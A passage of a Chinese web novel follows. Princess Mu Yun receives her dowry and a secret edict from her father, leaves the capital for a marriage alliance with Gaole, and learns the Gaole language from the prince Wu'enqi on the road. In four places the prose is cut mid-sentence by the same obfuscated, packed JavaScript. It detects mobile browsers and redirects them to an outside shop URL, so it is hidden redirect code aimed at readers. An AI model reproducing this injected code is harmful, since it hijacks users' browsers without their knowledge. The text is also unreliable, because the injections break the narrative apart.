译官笑着接受了穆云的祝福,笑道:“谢公主良言,公主此去高勒实在辛苦,小人在高勒也待过几年,若是公主有何困惑之处,小人愿效犬马之劳。” “正好,吾今日得了一卷高勒游记,有些不懂之处,还望夫子能替我解答……” 穆云和新来的夫子相处得倒是和睦,有了一个知道高勒基本情况的夫子,穆云心中对未知的恐惧也消散了许多。 和夫子交流了一个下午,穆云便对高勒的情况有了最基本的了解 令穆云没想到的是,这位夫子居然还知道乌恩其。 “四台吉乌恩其的娘亲也是汉室女奴,但是和我不一样,我出身农家,她却是世家出生,曾是前朝的官家小姐,才貌双绝,这才被大汗看上。” 说到这里,那位夫子叹了一口气:“可惜红颜薄命,在我归国之前那位姑娘便去了……本是官家女,却流落外族,没入奴籍,终究是郁郁而终……” 穆云叹了一句可惜,前朝末年正是边关正乱的时候,那是个吃人的时代,只希望在这之后,不会再出现这类悲剧。 “四台吉身负汉室血脉,自小便受兄弟欺凌,却不想也能成长为这高大威猛的模样,听说去年大败北狄,他居功至伟,倒是不负他这一身血脉。” 夫子嘴里满是赞赏之语,想来对这身负汉室血脉的异国台吉很是欣赏。 穆云也若有所思,按照阿耶和夫子的说法,这四台吉的确是个很好的合作伙伴。 …… 只过了几天,太卜便测算好了良辰吉日,就在十三日后。 具体的和亲时间一出,朝堂中的氛围也变得紧张了许多。 公主和亲是大事,穆云又是景帝嫡亲的公主,自然是万事都要考虑周全。 幸而之前筹备安乐公主和亲一事已经置办好了许多东西,不至于更加焦头烂额。 待散了朝,消息也传入了公主府。 得知和亲之日的穆云心里一紧,而后又是一松,这把悬在心头的利剑总算是落下来了,不至于再让她终日辗转难眠。 经过这些天翻阅的游记和与夫子的交谈,穆云心中对高勒未知的恐惧已经驱散了许多,但对前路未卜的迷茫依旧还萦绕心间。 莫说这一世,就说上一世,她也未曾与家人分别这么远,未曾踏足过异国。 一想到以后要和这么多异国之人打交道,穆云心中还是有些发虚,异国之人,言语不通,面貌陌生,难免令人心中生出警惕和提防。 但是她却不能,她必须克服这些情绪,当好高勒的可敦,甚至要努力为两国友好贡献出自己的力量。 穆云把手中的游记放下,扶额叹出了一口气。 “知道了日子也好,能早做些打算,白芨,你去把白蔹喊来,此去高勒,粮食布匹茶酒之类是最不能缺的,除了朝中准备的,我们也得额外采购一批。” 一想到夫子口中高勒恶劣的生存环境,穆云的囤货欲就忍不住了。 高勒虽产皮毛,但鞣制的方式极为粗劣,自然不可能贴身穿,到了冬日,这些保暖之物最是稀缺,要早做准备才行。 这个时代,可是真的会冻死人的。 穆云曾见过隆冬之后四处挂满白幡的场面,那个冬天,冷气格外刺骨,寒意能够从皮毛玄府一直钻进五脏六腑。 穆云从未如此直观地意识到,寒风雨雪,也是能够杀人的。 自那之后,穆云的心中便生出了寻找棉花的愿望。 可惜如今商队还未打探到棉花的消息,冬日里贵族的被衾还能用蚕丝进行填充,寻常百姓的被衾内就只能填充麻葛、干草、芦花等物,甚至贫苦人家就只能裹一身单衣,躺在干草鸡毛之上,互相拥簇取暖。 在这个生产力极度低下的时代,普通人只能挣扎求生,每一个冬天都是一场生与死的考验。 景国林地尚且茂盛,柴火木炭也没那么短缺,等到了高勒去,要找到一片林地,烧出一车木炭,那是多不容易的事情? 且高勒的冬日更冷,时间也更长,储存的牛粪干草总有用完的时候,所以每年都会冻死许多人,一到开春之时,便频频侵扰边境,抢掠粮食。 很快,白蔹便回到了公主府,回话道:“公主,您之前吩咐采买的茶酒等物已经采购完毕,此次和亲途中,云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341374|199345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏商行皆会沿途补给一应用物,日用的澡豆、面脂、齿盐等物倒是不用多带。” “边城的生意做过去了吗?等商道打通,木炭生意也该早些做起来。”穆云问道。 “边城的生意年前就已经在布置了,如今已经成网,待日后主子去了高勒有何吩咐,尽管叫人去送信。边城的林子少,木炭运输的路才打通,都打点好了,木炭生意今年就能做起来。” “好,多派几个人去边城,日后我有在边城开两国商道的打算,高勒需要的东西景国有,高勒有的东西,景国也正缺呢。” 白蔹是一贯让人省心的,对商业经营很是精通,这些事情交给她,穆云很放心。 白蔹刚和穆云议完事,白芨便来禀:“公主,宫里又来人了。” 穆云熟门熟路地站起来,她已经习惯了,自从和亲的旨意一下,阿耶便隔三差五宣她入宫叙话。 似乎是感受到了离别的氛围,这几日,阿耶宣召她也愈发频繁了。 “走吧,进宫去。”穆云轻声吩咐下去,便有机灵的丫头去收拾马车了。 …… 待穆云下了撵轿,瞧见面前的宫室,眼中划过了一丝了然,果然又是椒房殿。 甫一推开殿门,穆云便闻见了一股酒味儿,这熟悉的味道,分明是皇庄里产的蒸馏酒,最是烈了。 穆云皱着眉走进去,便看见阿耶正穿着一身皱巴巴的朝服,醉意朦胧地跪坐在阿娘的画像前,看那朝服上的湿痕和空气中浓郁的酒香,便能估计到阿耶饮酒不少。 “阿耶。”穆云皱着眉拿开景帝手边的酒壶,轻声唤道。 景帝睁开朦胧的眼睛,瞧见了穆云,本就泛红的双眼沁出泪意,嗫嚅道:“云儿……是阿耶没用,护不住你阿娘,如今也护不住你……若是你阿娘的在天之灵知晓了和亲一事,恐怕再也不会原谅我了……” 看着颓然跪坐在地上的阿耶,穆云想到了阿娘,也险些落下泪来。 是啊,若是阿娘还在,知道自己将要踏足那艰苦之地,恐怕会终日睡不安寝吧。 “阿耶,你快起来,如今和亲一事已成定局,现在最重要的,是要想办法让儿臣在高勒活得舒适些。” 穆云此话一出,景帝顿时一个激灵,酒意已经醒了大半。 “对……阿耶还得想办法,让云儿在高勒好过一些。”景帝撑着额头,挣扎着站起身来。 景帝强撑着胀痛的头,摇晃着走进内室,从中取出一只匣子。 “这是你娘亲当年为你准备的嫁妆,还有我为你准备的傍身之物。”景帝的话中还带着些酒气,但言语思绪都十分清醒。 穆云打开匣子,果然,其内的首饰珠翠无一是凡品,样样都充斥着金钱的味道,一看便知是阿娘一个个精心搜罗来的。 “听说草原上的贵族最喜欢宝石珠翠,一有了银钱便会换成各色宝石带在身上,云儿到了草原上,也不能少了这些珠翠的妆点。” 景帝一边念叨,一边将匣子的暗层打开。 “这些珠翠玉石皆是身外之物,最重要的,是这一封诏书。” 12. 第十二章 景帝将诏书取出,放进了穆云手中。 穆云翻开那一张薄如蝉翼的绢帛,一字一句看下去,不由瞪大了眼睛。 “阿耶!这……” 景帝将穆云未出口的话打断,“琮儿虽是由你亲自教养长大,却难保日后不会受人蛊惑,移了性情,或是受人掣肘,形似傀儡,若真有那日,此物便作为你这个长姊清理门户之用罢。” 穆云还想反驳,景帝却摆了摆手,轻声道:“回府去吧,让阿耶再和你阿娘待一会儿。” 看着再次颓然跪坐的景帝,穆云轻叹了一口气,行礼告退。 …… 乌飞兔走,转眼之间,和亲之日悄然而至。 这日依旧是个艳阳天,天朗气清,万里无云。 今日乃公主和亲之日,皇宫及宗庙之内,处处戒严,旌旗飘扬,各文武大臣皆穿上朝服,依次肃立,见证此等盛事。 穆云也一大早便起来,沐浴焚香,梳髻上妆,身着吉服,满脸肃穆,乘马车前往祭天坛,随景帝一同祭天,敬告天地。 祭天之后便是赶往宗庙祭祖,待敬告天地祖宗之后,和亲一事才真正开始。 穆云穿着吉服,向着景帝行了三拜九叩的大礼。 “儿臣宁定,今日拜别父皇!望父皇福寿康宁,松鹤延年,望景国岁稔年丰,海晏河清。” 临到和亲吉日,众目睽睽之下,景帝按捺住内心的不舍,亲手将穆云扶起。 “宁定我儿,国色天姿,蕙质兰心,心存大义,今已敬告天地祖宗,公主和亲高勒,远赴万里,还望我儿姻缘顺遂,两国永世结好。” 景帝哽咽着念着,眼底早已泛起了水色,依偎在他旁边的穆琮也早已红了眼眶,眼中满是不舍。 待景帝念完,太卜便上前跪拜,呼喝道:“公主大义,自当感天动地,范懿万世!” 有了太卜带头,其余官员自然也是连声高呼。 一时之间,溢美之词充斥了这方天地,大臣们皆交口称赞公主义举。 这般和乐的场面,却有人看不惯。 “云儿……”皇后虚抚着小腹,款款走来,道:“虽然本宫非你的生身母亲,但你到底也喊我一声母后,你母亲早早去了,今日便由本宫给你说上几句体己话吧。” 皇后今日精心打扮过,身着吉服,头上插满了钗环凤簪,精致的面容挑不出一丝错来。 她勾唇笑着,眼中却盛满了恶意,多么喜庆的日子啊,多么伟大的义举,多么盛大的称赞,可惜了,没了生母的公主,还不是只能远嫁高勒和亲? 穆云哪里听不出皇后话里的恶意?她勾唇一笑,眼底冰冷,道:“母后言重了,阿娘虽去得早,但自我出生起便为我攒了不少嫁妆,一物一用皆由心血汇聚而成,最是体己不过了。这些体己话,还是留着以后给您腹中的孩子说吧。” 景帝也冷了脸色,口中吐出两句冷硬的话语:“公主此去辛苦,这等劳神无用之言,皇后便少说吧。皇后身怀有孕,青栀,扶她下去休息。” 被两人暗刺了两句,皇后也有些挂不住脸,言语艰涩:“也是,昨日腹里的皇儿闹得我睡不好,多谢圣上体恤,臣妾这便回去休憩。” “公主远嫁,也莫要担心圣上,我腹中的皇儿出生之后自然会替公主尽孝。” 说完,皇后自认扳回了一局,便扶着青栀的手,冷着脸坐上了轿辇。 看着皇后离去的背影,景帝的眉头紧蹙,说什么士族高贵守礼,竟教导出如此不识大体之人。 只可惜当初立国艰难,中央地方上上下下的官职总得有人坐,不然官位空虚,律法无用,百姓无人管束,又会闹出大乱子来,这才让几家士族做大。 为安抚士族,他也娶了个宁家女,倒是闹出不少事来。 待皇后离去,景帝脸上的冷意才缓缓褪去。 他抓紧时间和穆云说了几句体己话,看紧漏刻的侍从附耳禀报了太卜一句,太卜便催促道:“陛下,吉时已到,公主该启程了。” 景帝深吸一口气,嗫嚅道:“吉时已到,云儿,出发吧!若是受了委屈,记得飞鸽传信于我……若事发紧急,传信太慢,便去找李将军,李小将军就在边城,离得近,总之,一切皆由你便宜行事。记得,顾好自己!高勒冬日冷,你常用的蚕丝锦被不够厚,需得再盖一层狐皮被褥……” 临到离别之时,景帝才知道还有这么多话忘了叮嘱。 一时间,许多零零碎碎的琐事从他口中吐出来,那碎碎念一直到了马车前才停下。 到了马车跟前,景帝嗓子一哽,竟再说不出更多话来,只能眼睁睁看着侍女们服侍穆云上了马车。 车帘落下,遮住了景帝的视线,也及时掩住了金红吉服上洇开的点点水渍。 蓦然,景帝也流下一串泪来。 这一去,不知归期。 …… 浩浩荡荡的和亲使团和高勒的使臣团们一起踏上了京城的长街,又是一番大场面。 此次和亲,由武安侯为正使,定远伯为副使,率甲兵千余人,工匠百余人,并小吏百余人,侍医十余人,厨子十余人,乐师舞姬各十余人,译官两人,还有公主府常用的奴仆和各自的家眷,林林总总足有两千余人。 公主的嫁妆自然也不会寒酸,布匹锦缎、金银器皿、漆器瓷盏、珍木家具、香料种子……各式各样的嫁妆均盛装在红木箱子里,由一架架马车运送。 浩浩荡荡,百里红妆,锣鼓满天,一时之间,喜庆的氛围笼罩了整个盛京。 主街早已清道,但临街窗内仍有密密麻麻的脑袋挤在一起围观下方的热闹。 京城的热闹虽多,但这么大的热闹却鲜有,大伙儿都聚在一扇扇窗户面前,围观此次盛景。 两国联姻,声势浩大,各式各样的嫁妆令人目不暇接,漫天的红色和激扬的鼓声让整条街都变得喜庆起来。 “不愧是皇室嫁女,居然这般热闹!”有人瞪大了眼睛,惊道。 “寻常的公主可没这般排场,此次是宁定公主和亲高勒,这些嫁妆,估摸着是皇室为安抚高勒大汗而置办的吧。” “高勒啊……那可不是个好地方,娇滴滴的公主去了那不毛之地,怕是要吃些苦头咯!” “嘁,再怎么样也是堂堂公主,用得着咱平头百姓操心?你瞧瞧这些嫁妆,这一条街都快堆满了,我等都还没看见队伍尾巴呢!这么多嫁妆, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341375|199345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足够公主舒舒服服享用一辈子了。” “那可不一定,一个娇弱女子,能守得住这么多嫁妆?等到了高勒,这嫁妆能不能用在公主身上还不是全凭大汗的良心?” “高勒大汗都年逾五十了吧?公主才刚及笄没多久呢,这皇家也真是心硬,我可舍不得自家闺女嫁给一个糟老头子受苦。” “唉……公主也是可怜。去年要不是公主颁布了《治蝗书》,不晓得有多少庄户人家颗粒无收,有着这般大功德的公主,竟也免不了受和亲之苦。” “听说此次是高勒大汗明文求娶永康公主,不然哪里用得上让圣人的嫡亲公主和亲?” “往好处想想,有了公主和高勒联姻,景国和高勒的关系应该会更加稳固,如此一来,就能把更多的兵力用在防范北狄上了,边关稳固,是咱们景国之幸呐!” “牺牲公主一人,便能换得边关几年安定,也算是个划算的买卖。” “公主这般义举,难怪能得嘉禾瑞星两般祥瑞……” “可惜皇家子嗣不丰,如今便只有先皇后留下的一双儿女,之后再要走和亲的路子,恐怕只能从宗室或民间选人了,也不晓得高勒答不答应。话说,要是北狄也答应和亲就好了。” “嘁,你个软骨头的,只寄希望于和亲这等权宜之法,咱景国早晚得如同前朝一般!” “公主和亲,是为我景国争取和平的发展时间,哪能真靠着和亲换安定呢?那边关的将士们难不成是吃空饷的?” “行了行了,别吵了,挡住我看公主的马车了!” “啧啧,这六匹马,油光水滑的,肌肉也丰盛,不愧是公主的车驾。” 临窗的百姓叽叽喳喳地讨论着和亲的热闹,热闹中央的穆云却并不像这十里红妆一般喜庆。 穆云还没有从方才离别的氛围中脱离出来,虽然止住了泪,但眼眸已经发酸。 离开了阿耶,之后的路,都得靠她自己走了。 未知的恐惧和压力让她忍不住深吸了一口气,而后长长叹出,胸前的憋闷感才松解了几分。 车到山前必有路,船到桥头自然直,这些无用的担忧起不到任何作用。 穆云努力调整好心情,轻轻掀开了马车的车帘。 空阔的街道显得盛京格外宽敞了许多,却不免有一丝冷清。 穆云无趣地放下帘子,也没心没绪做些别的事情打发时间,只能暂时闭目养神。 马蹄规律的哒哒声竟一点都不扰人,反而格外催眠。 起了个大早的穆云在规律的哒哒声中,竟真的进入了梦乡。 可惜尽管马车已经垫了最软的软垫,却依旧不免颠簸,穆云也睡不踏实,只做了好些纷繁芜杂的梦。 “叩叩……”两道轻快的叩窗声响起,惊醒了穆云,也将她从杂乱的梦境中解救了出来。 穆云睁开眼睛,方才做的梦已经忘了大半,只残留了些余悸,穆云擦了擦头上的薄汗,哑声道:“白芨,是何人叩窗?” 白芨的话还来不及吐出,便有一道熟悉的声音响起:“公主,已经出城了,何不出来骑骑马?” 穆云听出来了,来人正是高勒的四台吉——乌恩其。 13. 第十三章 听见乌恩其的声音,穆云心里一个激灵,睡意全然消失了。 掀开帘子一看,乌恩其正骑着高头大马,伴在马车一侧。 果然高勒人是生来活在马背上的,骑着骏马的乌恩其,莫名比平时俊俏了许多。 那马儿显然是厌烦了跟着马车的速度踱步慢走,此刻正摇晃着脑袋,打了几个响鼻,很是不耐。 穆云的注意力也从乌恩其的脸上转到了马儿的身上。 倒是匹好马,皮毛黝黑油亮,不见一丝杂色,肌肉丰隆,形体满壮,精神十足,想来在高勒也算得上是一匹良驹。 “公主,何不下来骑骑马?这京城外是阴天,日头也不晒人。”乌恩其安抚地拍了拍马儿,又问道。 正好这马车出了京城更加颠簸了一些,坐得穆云骨头缝子都松了,她只犹豫了片刻,便答应道:“好,那四台吉先行,待我换上骑装便跟来。” 说完,穆云就放下了车帘,叫白芨去取了骑装来。 白芨听了吩咐,连忙一夹马腹,去取了骑装过来。 御马之人也是穆云惯用的心腹,知晓公主要换骑装,连忙停了马车,同旁人一起退避开来。 骑装上身,穆云感觉浑身都轻便了许多,那吉服虽庄严端正,却实在有些不便,叫人时时刻刻都端守着礼仪。 穿着一袭红色骑装的公主刚从马车上下来,就有人牵着她的爱驹过来了。 和乌恩其的正相反,这匹马浑身雪白,不见一丝杂色,被打理得很好,连鬃毛都顺滑得如同上好的锦缎一般,高昂着头颅,像是一名高贵的公子。 公主的马儿,自然是全身都装点好了,鞍鞯、辔头、马镫、攀胸…… 各样马具都用了上好的锦缎装点,同马儿胸前的红樱交相辉映,烨然若神马,一下子就把其他的马儿比到了泥里。 原本高冷的马见了主人,也低下了高昂的头颅,亲昵地蹭着穆云的手咴鸣。 乌恩其瞧见这匹马,也是眼前一亮。 “这是北狄来的良驹?还是咱们高勒的马?竟这般俊俏!” 穆云轻巧地翻身上马,拉了一把缰绳,“这是我景国的马同高勒的马所生,是那批驹子里最俊俏的一匹。” 马儿似乎也听见了主人夸赞,昂着脑袋,抖了抖鬃毛,喷出了个响鼻。 “我的马儿叫奔宵,公主的马儿叫什么名字?”乌恩其拉了一把缰绳,朝着穆云的马儿靠去。 “流云。”穆云一夹马腹,流云便绕开人群,驰骋奔腾起来,有追风逐影之风采,不一会儿就没了踪影,只留下奔腾起的尘雾。 乌恩其愣在原地,喃喃道:“流云……好名字!” 乌恩其□□的奔宵显然也耐不住了,焦躁地磨了磨马蹄,抖着鬃毛,似乎是催促着主人前进。 乌恩其回过神来,一夹马腹,跟随着那抹白色去了。 流云如风,迅捷无匹,奔宵好几次擦过公主的衣角,那看似咫尺的距离,却始终存在。 乌恩其的眼光却更亮了,果真是一匹好马,公主的骑术竟也这么好! 骑马来到了河边,穆云才拉了一把缰绳停下,转头夸赞道:“你的奔宵的确不错。” 奔宵几步赶上了流云,两匹马儿一前一后停在河边,喘着粗气,慢慢在原地踱步。 奔腾过后的马儿,浑身都冒着热气,肌肉更显出几分丰隆,俊俏极了。 穆云翻身下马,轻巧地落地。 “公主的马儿也很好,小王竟不知公主的骑术也这般好!” “不过是和我舅舅学了几年,勉强能跑起来罢了,比不上我景国将士一半。”穆云一边谦虚地说道,一边解开流云身上的水壶。 跑了这么久的马,一口冰凉的茶水下去,方才的炎热才慢慢消散了。 待穆云取了水壶,流云才蹭了蹭她的手心,踱步去河边饮水去了。 见流云饮得痛快,奔宵也忍不住了,尾巴一甩,给了乌恩其一鞭,慢慢蹭到了流云身边共饮。 马儿是群居动物,流云没有察觉到奔宵的恶意,便好性子地让出了一步。 “这流云倒是性子好,不愧是公主养的马。”乌恩其调笑了一句。 穆云没有接话,乌恩其便自顾自地掏出水囊,去河边灌满了水,大口饮了起来。 穆云侧目看着,还是忍不住皱眉提醒道:“这河里的水不干净,需得煮沸了再饮用。” “我们高勒人可没有这么精贵,把水煮沸得费多少柴火,晾凉了又要费许多时间,这水又不脏,没有沙子,能解了渴就成。” 乌恩其几口就饮完了满满一水囊的水,又去河边灌了起来,待水囊满了,还用清凉的河水洗了一把脸。 穆云这才又想起高勒的条件,也是,那地方缺少柴火,大都是用牛粪替代,恐怕连煮饭用的柴火都得算计着用,哪能再挪出烧水的牛粪呢? 想起高勒的艰苦,穆云忍不住叹出一口气来,“那你要记得定期吃驱虫的药物。” “公主是担心我?”乌恩其抹了一把脸上的水,调笑道。 穆云嗤笑了一声,找了个干净的地方坐下。 不消片刻,后头的侍卫便骑马跟了过来。 “公主!”领头的侍卫抱拳行了个礼。 “嗯,吩咐后头的兄弟们,今天中午就在这河边休整。”穆云吩咐了一句。 “公主对这里很熟?” 乌恩其这才意识到,方才穆云跑马竟是顺着部队前行的方向去的。 公主要么是对此地很熟悉,要么是会辨路,能看懂舆图。 “之前来过。”穆云答道。 随后,不管乌恩其信不信,穆云已经牵着流云去吃草了。 河边的嫩草比寻常地方的鲜嫩许多,流云吃得很是高兴。 侍卫们得了任务,也一一分散开,饮马的饮马,捉鱼的捉鱼,挖野菜的挖野菜,拾柴的拾柴,秩序井然,显然是经验丰富。 很快,大部队也赶到了,厨子们开始支起简陋的灶,用火镰生起火来,开始准备起午饭了。 乌恩其将掏出的干粮又塞进怀里,看来这和亲的使团同高勒的使团不一样,不是靠着干粮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341376|199345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶路的。 厨子们是穆云从小就用惯的那几位,跟着穆家打过天下,自然有行军的经验。 这一小会儿时间,就已经取了水和面,调了油酥做葱油饼了。 等侍卫们收拾干净了几条杂鱼,又去打了几只野鸡野兔,厨子们能展示的功夫就更多了。 乌恩其算是大开了眼界,果然是金尊玉贵的公主,赶路期间的膳食也不能有一点儿马虎。 很快,油炸小鱼、葱油饼、野鸡蘑菇汤、烤兔、炒杂碎、清炒野菜等等菜就陆续出锅了。 当然,行路带着的食材也得用上,笋干煨火腿,八宝糯米饭,香蕈炒野菜也是几位厨子的拿手好戏。 使团有这么多人,这点儿新鲜的菜自然是先供给公主,而后再是乌恩其这位异国台吉,再往后才是两位和亲使及丫头、侍卫们,其余的人便只能掏出干粮来泡热汤吃。 就算这样,便已经是乌恩其几人眼里的好日子了,别说热汤,他们赶路的时候连口热水都没有呢。 白术这会儿时间已经在马车里支起了桌子,摆上了穆云惯用的餐具,把马车的帘子放下,便能隔出个用餐的地方。 “我今日只用一碗鸡汤,半碗糯米饭,并一个葱油饼就好,剩下的你们自己分分。”穆云吩咐道。 “赶路条件有限,委屈公主用些粗茶淡饭了,等今晚到了下一站驿馆,填补了新鲜菜蔬,公主再多用些。”陈老二道。 那领头的厨子陈老二是从小就负责穆云饮食的,从穆云嘴里得了不少启发,做出了许多新菜,一路做到了御膳房副总管的位置,平日里也能捞到不少油水和孝敬,然而此次为公主调配厨子随同和亲的时候,却是他头一个报名。 “嗯,等到了驿馆,多补充些新鲜菜,使团里这么多人,路又这么长,别把身子熬坏了。” 使团忙着赶路,待用完了饭,马儿也吃饱了精粮,浩浩荡荡的一行人便又踏上了路程。 穆云已然没有了睡意,便叫了译官过来,继续学习高勒话。 如今已经是火烧眉毛的时候了,学习高勒语的进度也该赶一赶了。 这位译官并不是之前的夫子,之前的夫子好不容易逃出高勒,穆云可没考虑过让她再回到原来水深火热的环境中去。 可惜译官之间还是有差别的,这位译官过于板正了,教学死板,远不及先前的那位夫子教学有趣。 且顾忌着男女大防,穆云在马车内,译官跪坐在御马人的身边,两人之间被车帘隔开,生出了许多不便。 而且穆云总觉得,这位译官的高勒话远没有之前那位夫子说得好听。 “公主在学习高勒话?”四台吉乌恩其又凑了过来。 乌恩其的马显然离马车很近,这句话声如洪钟,如同炸雷一般在穆云的耳边响起,叫她忍不住揉了揉耳朵。 “台吉的声音倒是洪亮!”穆云冷声道。 乌恩其显然也意识到了,压低了声音,道:“公主若是不嫌弃,小王可以教你高勒话。这位译官恐怕都没去过高勒,口音十分古怪,可别带偏了公主。” 14. 第十四章 穆云只犹豫了一会儿,便答应了乌恩其的提议,这位译官的发音确实不太好,倒不如叫他去给高勒使臣教授汉话,或是给匠户、甲兵们教授高勒话。 得了公主的允准,乌恩其便堂而皇之地上了公主的车架,不过还是同译官一样,只坐在马车外边。 即便是坐在公主的马车外边,乌恩其也能隐约闻见马车内的阵阵香风,主调是沉稳的木香,夹杂着一丝果香,叫人闻着上瘾。 因为要拜托乌恩其教授高勒话,穆云便让白术送出去一份点心。 白术将手上的医书放下,只挑了一盘公主不甚爱吃的蜜汁肉脯端出去,道:“公主体谅台吉辛苦,特地送了点心来。” 乌恩其拿起一片蜜汁肉脯,有些疑惑:“这点心我那里也有,不过形状有些不一样,没那么规整,味道倒是不错,想来是出自同一位厨子之手吧,多谢公主的点心。” 穆云念头一转就明白了,这蜜汁肉脯的方子也是她给陈老二的,算是陈老二的拿手点心,做来极为费功夫,行路时自然是没有机会做的,怕是陈老二想省着用,规整的便呈给她,边角上不规整的便呈给和亲使和高勒使团用。 “常用的称谓和日常用具我基本都会了,我先念一遍,台吉帮忙纠纠错。”穆云将话题转到了高勒语的练习上,打断了乌恩其的东想西想。 提到了正事,乌恩其也端正了坐姿,专心听穆云的发音。 上一任夫子教学很负责,穆云的发音十分纯正,乌恩其自然找不出什么错处来。 “公主果真聪敏,那小王便教教公主基本的动词,之后再教公主连词成句。” …… 两人投入了学习之中,时间也过得飞快。 天色擦黑,使团总算是来到了下一个城镇,一行人住进了驿馆和客栈。 驿馆早就收到了快马加鞭传来的消息,准备好了一应用物。 待使团一到,便有人领着一行贵客去各自的房间,连马儿也早就腾出了马厩,放好了精细粮草。 使团人多,实在住不下的,只得领了草席打上地铺,幸好是在夏日里,和衣而卧也不会受寒。 穆云自然住进了驿馆最好的房间,勉强能睡个安稳好觉。 陈老二去灶房添了几道菜,一行人匆匆用完了饭,熄了火烛,留下人守夜,其余人便都睡去。 一夜风平浪静。 等到了第二日,驿馆的人早就准备好了应该添置的物资,云家商城也送来一批物资,半点没有耽误使团出发的时间。 乌恩其将这些看在眼里,只觉得不愧是中原大国,一些都秩序井然。 牧民是最重视信息的人,住进了驿馆,乌恩其头一个联想到的,便是这驿馆传递消息之用。 不知在这泱泱大国内,有多少个大大小小的驿站,有了换马和休憩吃饭的地方,一个消息一夜又能传出多远。 若是高勒也能组建成这般严密的消息网…… 怕是不成,高勒地广人稀,且修建驿馆耗费颇多,此法实在得不偿失。 “台吉?”巴图浑厚的嗓音响起,乌恩其回过神来,才发现使团已经整好行装,亟待出发了。 “走吧,上马。” 奔宵昨晚和今晨都用了一顿细粮,正是精力丰沛的时候,待乌恩其一上马,就想迈开蹄子撒欢儿了。 然而身处城镇之中,奔马可是大忌,乌恩其正要拉缰绳制止,便听见流云昂起脖子嘶鸣了一声,奔宵竟渐渐停下了步子,开始跟着大部队踱步慢走。 “台吉,这公主的马儿果真是不一样,连奔宵也听它的话。”阿日宾催马赶到乌恩其身边,调笑道。 “确实是匹好马。”乌恩其脸上也闪过一丝赞叹。 这流云若是活在高勒,说不定能成为头马呢。 待出了城镇,乌恩其便又去了穆云的马车外,教授她高勒话。 乌恩其的母亲是汉人,又自小生活在高勒,两种语言都学得很好,倒是个不错的夫子。 待学累了,穆云便会问询一些高勒的日常生活,为以后在高勒的生活做一些心理准备。 “高勒的草原很广阔,一望无际,若是流云到了高勒,应是会喜欢的。” “你们高勒的草原里都是草地,没有山吗?”穆云问道。 “有,我们苍狼部落冬季的草场就在阿勒山谷里,北面的大山挡住了吹来的冷风,比其他部落暖和一些。” “山谷里?那山上有树吗?” 穆云好奇极了,草原中的山地,怕是和其他地方不一样吧? 可惜上辈子忙着读书和兼职,没有闲心,也没有闲钱出去看看,连真正的草原是什么样子都不知道,更别说是草原里的山脉了。 “自然是有的,阿勒山脉很高大,绵延千里,山上会有松木林,快到冬季的时候,部落便会安排人去伐树,为冬季准备柴火,不然只靠着囤积的那些牛粪,怕是会有更多的族人被冻死。” 在乌恩其的讲述中,穆云脑海中渐渐浮现出高勒的简绘图,原来高勒是这样的地方。 “听夫子说,高勒每年都会有人和牲畜被冻死,是砍伐的柴火不够用吗?”穆云又蹙眉问道。 乌恩其叹出一口气来,“伐木是个苦差事,山太高了,又十分陡峭,牛和马儿是上不去的,那些木柴只能靠人力背下来,是以每次伐下来的柴火都不够用。而且树木成林的过程太漫长了,总得考虑着以后,部落只能伐大树,小一点的树都得留着,这样一来,能采的柴火就更少了。且阿木尔部落是高勒诸多部落之首,又是版图最大,山地最多的部落,这些木柴还得分一部分给其他部落,以免引起部落间的纷争。” 穆云很惊讶,没想到高勒人也有可持续发展的理念,看来那些不通教化,愚昧无知的标签中也有不少是景国人的偏见。 “那些松木砍下来之后还能摘到松塔,用火烧熟,里头的松子就能摔出来了,高勒的松子油水足,松香味儿浓厚,到时候也请公主尝尝。”巴图听见了乌恩其的话,笑着插话。 “松子?”穆云心中一喜,松子可是个金贵东西,若是高勒的松子能卖到景国来,换成木炭粮食,岂不是有更多人能吃饱穿暖? 可惜两国尚且没有通商,这些都得从长计议才是。 “公主喜欢吃松子? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341377|199345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”乌恩其瞥了一眼马背上的巴图,小声问道。 